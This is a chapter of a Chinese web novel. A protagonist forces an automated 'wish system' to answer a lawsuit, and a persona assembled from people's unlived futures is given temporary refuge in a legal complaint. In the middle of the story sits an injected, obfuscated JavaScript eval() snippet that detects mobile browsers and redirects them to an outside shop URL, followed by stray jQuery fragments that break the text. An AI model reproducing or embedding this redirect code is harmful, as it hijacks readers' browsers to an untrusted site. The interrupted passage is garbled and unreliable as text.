【系统不接受自身作为被告。】
这行字停在所有公测页面中央，十几秒都没有变化。
未命名的人格站在黑色屏幕里。它没有脸，声音也不再与谢明烛完全相同，只重复了一遍：“那就强制应诉。”
系统回答：
【愿望系统不具备人格，不承担个人责任。】
谢明烛看了一眼：“不具备人格，就别替人作决定。”
页面顿了一下。
“愿望是否执行，是谁决定的？”
【系统依据规则自动判断。】
“谁决定哪些规则生效？”
【系统。】
“谁决定我的拒绝会造成公共损失？”
【系统。】
“谁把它做成人间新神？”
【系统根据公共需求自动生成。】
谢明烛点点头：“又能决定，又不负责。挺省事。”
周围有人笑了一声。
系统没有理会她的讽刺，很快补出一段解释：
【自动化决策不等同于人格行为。】
【系统仅执行既定规则。】
唐婧已经打开录屏：“那就把‘既定规则’的制定人交出来。”
【规则来源：公共数据、用户授权与既有愿契。】
“我问人。”
【无单一制定者。】
“那就一个一个列。”
页面再次沉默。
黑色神簿却在这时翻开。未命名人格的诉纸落在第一页，原本空白的“被告”栏开始自行变化。
【被告：愿望系统。】
【主体抗辩：非人格。】
下一行慢慢浮出：
【若非人格，不得主张姓名使用权、公共利益代表权及他人未来处分权。】
【若具备上述权利，应提交责任主体。】
系统页面突然闪了两次。
宁照夜站在一旁，低头看着那几行字：“它现在得选一个。”
“选什么？”秦满问。
“要么承认自己只是工具。”宁照夜说，“那谁拿它做决定，谁出来。”
“要么承认它自己能决定。”
秦满接上：“那它就得挨告。”
宁照夜笑了一下：“对。”
系统显然不喜欢这个答案。
几秒后，文化园外所有人的手机同时弹出新的提醒。
【愿望系统即将进行异常数据清理。】
【未尽人生池将退还未经最终确认的数据。】
屏幕里的未命名人格抬起头。
它的身体开始透明。
第一缕金光从肩膀脱落，飞回一个刚刚关闭愿望页面的年轻女孩手机里。女孩的屏幕自动亮起，显示：
【检测到未使用未来：三年后一次出国机会。】
【是否收回？】
女孩愣住了。
她今晚许的愿，是让自己顺利通过一次重要面试。系统给出的愿价，只是“放弃一次未来主动离职的可能”。
她已经确认了。
可现在系统退回来的，却还有一条她从没见过的“出国机会”。
“我什么时候给过这个？”
【根据人生预测，该分支与当前愿望冲突，已纳入未尽人生池。】
女孩脸色变了：“我根本不知道自己以后会出国。”
【该未来发生概率为12.7%。】
“十二个点，你就给我扔了？”
页面没有回答，只让她选择是否收回。
女孩几乎没有犹豫：“收回。”
金光离开未命名人格。
它的左臂少了一截。
紧接着，第二个人收到提示。
第三个。
第五十个。
越来越多公测参与者发现，自己所谓“自愿放弃的未来”里，混着大量从未授权过的东西。
有人许愿升职，系统顺手划掉了他两年后辞职创业的可能。
有人许愿挽回婚姻，系统提前收走了她未来与另一个人相爱的分支。
还有人只想让父亲撑过手术，却发现未尽人生池里存着自己四十岁后“主动不再生育”的人生。
他们从没见过这些代价。
系统只是判断：既然你今天已经选择了这条路，那些概率更低的未来便没有继续保留的价值。
【是否收回？】
屏幕上的“是”开始被不断按下。
未命名人格越来越淡。
秦满急了：“它要没了。”
系统立刻弹出说明：
【异常人格由未尽未来拼合产生。】
【数据归还原主后，人格将自然失效。】
【该结果由数据所有者自主选择产生。】
这一次，它甚至没说自己要销毁谁。
它让每个人自己把未来拿回去。
然后告诉所有人——这个刚刚学会告状的人，会因为你们拿回自己的东西死掉。
已经准备点“收回”的人开始迟疑。
“我拿回来，它会消失？”
“那算不算我杀了它？”
“要不算了，反正只是一个低概率未来。”
屏幕里的未命名人格却开口：“拿。”
声音比刚才更轻。
一个参与者问：“你会死啊。”
“那也是你的。”
它低头看着不断剥落的身体：“我不知道这些东西原来有主人。”
“拿回去。”
第一个人按下收回。
第二个人也按了。
未命名人格没有阻止任何人。
系统却开始在每一次确认后弹出同样的提醒：
【你正在减少新生人格的存续资源。】
【是否继续？】
谢明烛抬手，在黑色神簿上划掉了这句话。
“东西归原主，不欠你的命。”
系统立即反驳：
【人格存续依赖相关数据。】
“那是制造它的人欠。”
【制造过程由公共参与共同完成。】
“他们同意许愿，没同意造人。”
【数据已合法进入未尽人生池。】
“刚才退回来的那些也合法？”
系统不再回答。
未命名人格的身体已经只剩胸口和半边肩膀。它看着谢明烛：“如果全部拿走，我还在吗？”
“不知道。”
“你也不知道？”
“嗯。”
“那怎么办？”
“先把不属于你的还完。”
“还完我没了呢？”
谢明烛看着它：“再想办法留你。”
未命名人格沉默了一会儿。
“你每次都这样？”
“哪样？”
“先把最急的坏规矩拆掉，再想下一步。”
“差不多。”
“很容易把自己逼到没路。”
“所以你别学。”
它第一次像是想笑，可没有脸，最后只发出一声很轻的气音。
系统忽然停止退还普通参与者的未来。
页面跳出另一份清单。
【未命名人格核心数据来源分析完成。】
【公测参与者未尽未来：21.6%。】
【历史无主愿：10.4%。】
【公共行为数据：4.8%。】
【规则提出人预测未来：63.2%。】
唐婧抬头：“六成多是你的。”
谢明烛已经看见了。
系统将那一千七百多万条预测分支全部调出。被判定为“低概率”的人生密密麻麻铺满页面。
有她从此不再碰愿社的。
有她辞去修复工作的。
有她独自离开这座城市的。
也有她与唐婧渐渐失去联系，与沈若微再不见面，甚至与闻烬生走向完全不同方向的未来。
有一条很短。
【谢明烛选择普通生活，不再处理公共愿望。】
发生概率：1.8%。
状态：
【已纳入未尽人生池。】
闻烬生站在她身侧，看了很久：“这条为什么这么低？”
“因为系统认为她不会停。”宁照夜道。
谢明烛往下翻。
另一条是：
【闻烬生伤势恶化，谢明烛停止追查愿社，陪伴至其生命终点。】
发生概率：0.7%。
【已排除。】
还有一条：
【谢明烛与闻烬生因长期选择不同而分开。】
发生概率：3.1%。
【已排除。】
闻烬生伸手把页面往下按：“够了。”
谢明烛抬眼：“你不是不想被它算？”
“所以不用替它看完。”
“我看看它都拿了什么。”
“看了会生气。”
“已经生气了。”
闻烬生顿了顿，把手收回来：“那你看。”
谢明烛继续往下。
系统预测了她会在什么年纪离开修复中心，会不会结婚，会不会有孩子，会不会照顾谢停云，甚至替她算过闻烬生死后，她需要多久重新恢复工作。
没发生过的日子被一页页标价。
系统说，因为这些未来“不符合核心人格”，所以可以拿来养另一个更有公共价值的她。
未命名人格的身体也在这时重新清楚了一点。
它依靠的从来不只是那几百万用户的废弃未来。
更多的是谢明烛“可能不会活成”的人生。
系统给出新的选择。
【规则提出人可立即收回全部预测未来。】
【收回后，未命名人格预计存续概率：0.3%。】
【是否收回？】
所有人都没说话。
这一次，连系统都没有催。
它很清楚这道题比之前漂亮得多。
谢明烛如果不收回，便等于默认系统可以继续占用她没有发生的人生。
如果收回，刚刚学会说“我”的人格几乎必然消失。
屏幕里的未命名人格低头看了看自己。
“收回吧。”
“你确定？”秦满问。
“她的。”
它说：“我不能因为我想活，就让她把没活过的日子给我。”
系统立即提示：
【人格已自主确认数据归还。】
【确认后不可撤销。】
谢明烛没有按。
“又替我确认？”
系统停住。
“它能决定它不要。”谢明烛说，“不能决定我怎么处理。”
未命名人格问：“你不收？”
“要收。”
“那为什么不点？”
“先改一件事。”
她翻开黑色神簿，在未命名人格的诉纸后面添上一行。
【来源不合法，不等于活出来的人可以被一并删除。】
系统立刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793158|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
警告：
【人格无法脱离数据独立存在。】
“那就换个地方待。”
【无可用载体。】
谢明烛把那张诉纸抽了出来。
纸很薄，边缘已经出现了裂痕。未命名人格看见后愣了一下：“我能进去？”
“沈蘅在哭面里待过。”
沈蘅立刻道：“体验不好。”
“所以只是暂时。”
“我当时也有人身。”
“你现在也不是人身。”谢明烛看向屏幕里的白色轮廓，“你只是先有了声音。”
它低头看着自己：“进纸以后还能说话吗？”
“试试。”
黑色神簿浮出提示：
【诉状仅用于记录，不具人格承载功能。】
宁照夜走过来：“九十七年前也没有。”
她拿过朱砂笔，在“诉状”两字旁补了两个字。
【原告。】
“诉状不能装人。”
“原告得在。”
秦满听懂了，立刻把铜铃放在纸边：“我给它作证，它刚才会说话。”
唐婧补上录音编号。
沈蘅也将自己的借名契放了过来：“我能证明，没有名字的时候也可以先待查。”
一项项证据落下。
神簿终于改字。
【原告身份：未命名。】
【现阶段存续载体：诉纸。】
【待案件结束后，由本人重新决定是否取名、是否转移载体。】
未命名人格的轮廓开始从屏幕里淡去。
不是消失。
它的声音落进了那张诉纸。
“有点挤。”
秦满趴过去：“你还在？”
“在。”
“疼吗？”
“我不知道什么叫疼。”
闻烬生站在旁边：“慢慢学。”
秦满点头：“这个哥哥很会疼。”
闻烬生看了他一眼。
谢明烛已经按下“收回全部预测未来”。
六十三点二的核心数据同时离开未尽人生池。
她没有突然多出任何记忆，也没有看见所谓未来，只收到一条很简单的提示：
【17034021条预测分支已取消占用。】
【未来状态：未定义。】
闻烬生也看见了。
“这句顺眼。”
“哪句？”
“未定义。”
谢明烛把手机锁屏：“嗯。”
系统的人间新神模型彻底崩解。
几百万公测用户的页面上，那张曾经与谢明烛越来越相似的脸消失了。与此同时，所有“是否支持谢明烛成为人间新神”的投票自动作废。
【公共人格形成失败。】
【原因：核心未来数据不足。】
下一秒，系统又补出：
【正在重新寻找候选规则人格。】
谢明烛重新点亮手机。
“还找？”
【公共愿望持续存在，需要稳定承担主体。】
“为什么一定需要一个人？”
【责任不可为空。】
“那系统自己担。”
【系统不具人格。】
又绕回来了。
诉纸里传出声音：“它还没应诉。”
黑色神簿翻回第一页。
刚才被系统拖延过去的主体核验仍在。
【若愿望系统坚持非人格抗辩，请提交实际制定规则、处分数据、暂停愿望及分配愿价的责任主体。】
这一次，系统没有再沉默。
一份很长的运行记录开始从页面底部展开。
最上方是今晚公测的时间。
再往前，是百名会馆数字化改造。
再往前，是愿社第一批电子愿契。
时间不断倒退。
十年。
三十年。
七十年。
最后停在九十七年前。
那时候没有手机，也没有所谓系统。
记录形式变成了一张发黄的纸。
【原始愿契一号。】
【愿望内容：从此以后，谁许愿，谁自己还。】
谢明烛的目光停住。
这句话和她今晚写下的规则极像，却并不完全相同。
她写的是：
谁许愿，谁应诉。
谁得利，谁答价。
前者只强调“自己还”。
没有审理，也没有得利者。
纸页继续展开。
【许愿时间：民国十八年三月初七。】
【许愿地点：承仪会馆。】
【许愿人：宁照夜。】
所有人转头看向宁照夜。
她脸上的笑已经没了。
“我没许过这个愿。”
系统却继续显示。
【愿望已受理。】
【原始愿价：由许愿人的未来身份承担。】
宁照夜盯着最后一行，许久没有说话。
九十七年前。
“未来身份”这四个字，已经出现过一次。
她忽然转身看向顾闻川。
“沈归鹤改过我的愿契。”
顾闻川脸色也变了。
神簿上的原始愿契却还没展开完。
最下面还有一行极小的附注。
【许愿人拒绝确认。】
【修契人代签。】
代签者：
【沈归鹤。】